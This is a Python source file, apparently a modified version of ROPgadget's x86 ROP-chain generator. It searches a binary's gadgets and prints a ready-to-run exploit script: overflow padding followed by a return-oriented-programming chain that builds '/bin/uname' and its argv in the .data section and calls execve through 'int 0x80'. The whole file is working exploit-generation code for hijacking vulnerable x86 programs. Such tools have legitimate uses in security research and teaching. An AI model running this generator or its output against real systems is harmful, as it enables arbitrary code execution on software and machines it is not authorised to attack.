ca03d9d77d
Co-authored-by: Liam Dalgarno <liamdalg99@gmail.com> Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
271 lines
10 KiB
Python
271 lines
10 KiB
Python
#!/usr/bin/env python2
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## -*- coding: utf-8 -*-
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##
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## Jonathan Salwan - 2014-05-13
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##
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## http://shell-storm.org
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## http://twitter.com/JonathanSalwan
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##
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import re
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from capstone import *
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from textwrap import wrap
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import sys
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class ROPMakerX86(object):
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def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
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self.__binary = binary
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self.__gadgets = gadgets
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self.paddingLen = paddingLen
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# If it's a library, we have the option to add an offset to the addresses
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self.__liboffset = liboffset
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self.__generate()
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def __lookingForWrite4Where(self, gadgetsAlreadyTested):
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for gadget in self.__gadgets:
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if gadget in gadgetsAlreadyTested:
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continue
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f = gadget["gadget"].split(" ; ")[0]
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# regex -> mov dword ptr [r32], r32
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regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
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if regex:
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lg = gadget["gadget"].split(" ; ")[1:]
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try:
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for g in lg:
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if g.split()[0] != "pop" and g.split()[0] != "ret":
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raise
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# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
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if g != "ret":
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if g.split()[0] == "ret" and g.split()[1] != "":
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raise
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print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return [gadget, regex.group("dst"), regex.group("src")]
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except:
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continue
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return None
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def __lookingForSomeThing(self, something):
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for gadget in self.__gadgets:
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lg = gadget["gadget"].split(" ; ")
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if lg[0] == something:
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try:
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for g in lg[1:]:
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if g.split()[0] != "pop" and g.split()[0] != "ret":
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raise
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# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
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if g != "ret":
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if g.split()[0] == "ret" and g.split()[1] != "":
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raise
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print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return gadget
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except:
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continue
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return None
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def __padding(self, gadget, regAlreadSetted):
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lg = gadget["gadget"].split(" ; ")
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for g in lg[1:]:
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if g.split()[0] == "pop":
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reg = g.split()[1]
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try:
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print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
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except KeyError:
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print("p += pack('<I', 0x41414141) # padding")
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def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
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sects = self.__binary.getDataSections()
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dataAddr = None
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for s in sects:
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if s["name"] == ".data":
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dataAddr = s["vaddr"] + self.__liboffset
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if dataAddr == None:
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print("\n# [-] Error - Can't find a writable section")
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return
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print("#!/usr/bin/env python2")
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print("# execve generated by ROPgadget\n" )
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print("from struct import pack\n")
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print("import sys")
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print()
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print("out_file = sys.argv[1]")
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print()
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print("p = b'" + ('A' * self.paddingLen) + "'\n")
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command = "/bin/uname"
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if len(command) % 4 > 0:
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command = (4 - (len(command) % 4)) * "/" + command
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command_chunks = wrap(command, 4)
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address = 0
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offset = 0
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for i, chunk in enumerate(command_chunks):
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offset = (i * 4)
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address = dataAddr + offset
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popDst, {})
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print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
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print(f"p += b'{ chunk }'")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
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self.__padding(write4where, {})
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print()
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offset += 4
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address += 4
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print()
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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self.__padding(xorSrc, {})
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
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print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
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print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
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self.__padding(popEbx, {})
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# write end + 4, after the null bytes
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
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print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
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self.__padding(popDst, {})
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# write the data base address, which is the start of argv
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print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
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print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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# perform the write: eax -> [edx]
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print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
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self.__padding(write4where, {})
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# ARGV MUST BE FOLLOWED BY NULL POINTER
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
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print(f"p += pack('<I', 0x{address + 8:08x}) # @ .data + {offset + 8}")
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self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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self.__padding(xorSrc, {})
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
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## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL
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print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
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print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
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self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
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print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
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self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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# 11 = execve
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for i in range(11):
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print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
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self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
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print("""
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with open(out_file, "wb") as f:
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f.write(p)
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""")
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def __generate(self):
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# To find the smaller gadget
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self.__gadgets.reverse()
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print("\n# ROP chain generation\n# ===========================================================")
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print("\n# - Step 1 -- Write-what-where gadgets\n")
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gadgetsAlreadyTested = []
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while True:
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write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
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if not write4where:
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print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
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return
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popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
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if not popDst:
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print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
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gadgetsAlreadyTested += [write4where[0]]
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continue
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popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
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if not popSrc:
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print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
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gadgetsAlreadyTested += [write4where[0]]
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continue
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xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
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if not xorSrc:
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print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
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gadgetsAlreadyTested += [write4where[0]]
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continue
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else:
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break
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print("\n# - Step 2 -- Init syscall number gadgets\n")
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xorEax = self.__lookingForSomeThing("xor eax, eax")
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if not xorEax:
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print("# [-] Can't find the 'xor eax, eax' instruction")
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return
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incEax = self.__lookingForSomeThing("inc eax")
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if not incEax:
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print("# [-] Can't find the 'inc eax' instruction")
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return
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print("\n# - Step 3 -- Init syscall arguments gadgets\n")
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popEbx = self.__lookingForSomeThing("pop ebx")
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if not popEbx:
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print("# [-] Can't find the 'pop ebx' instruction")
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return
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popEcx = self.__lookingForSomeThing("pop ecx")
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if not popEcx:
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print("# [-] Can't find the 'pop ecx' instruction")
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return
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popEdx = self.__lookingForSomeThing("pop edx")
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if not popEdx:
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print("# [-] Can't find the 'pop edx' instruction")
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return
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print("\n# - Step 4 -- Syscall gadget\n")
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syscall = self.__lookingForSomeThing("int 0x80")
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if not syscall:
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print("# [-] Can't find the 'syscall' instruction")
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return
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print("\n# - Step 5 -- Build the ROP chain\n")
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self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)
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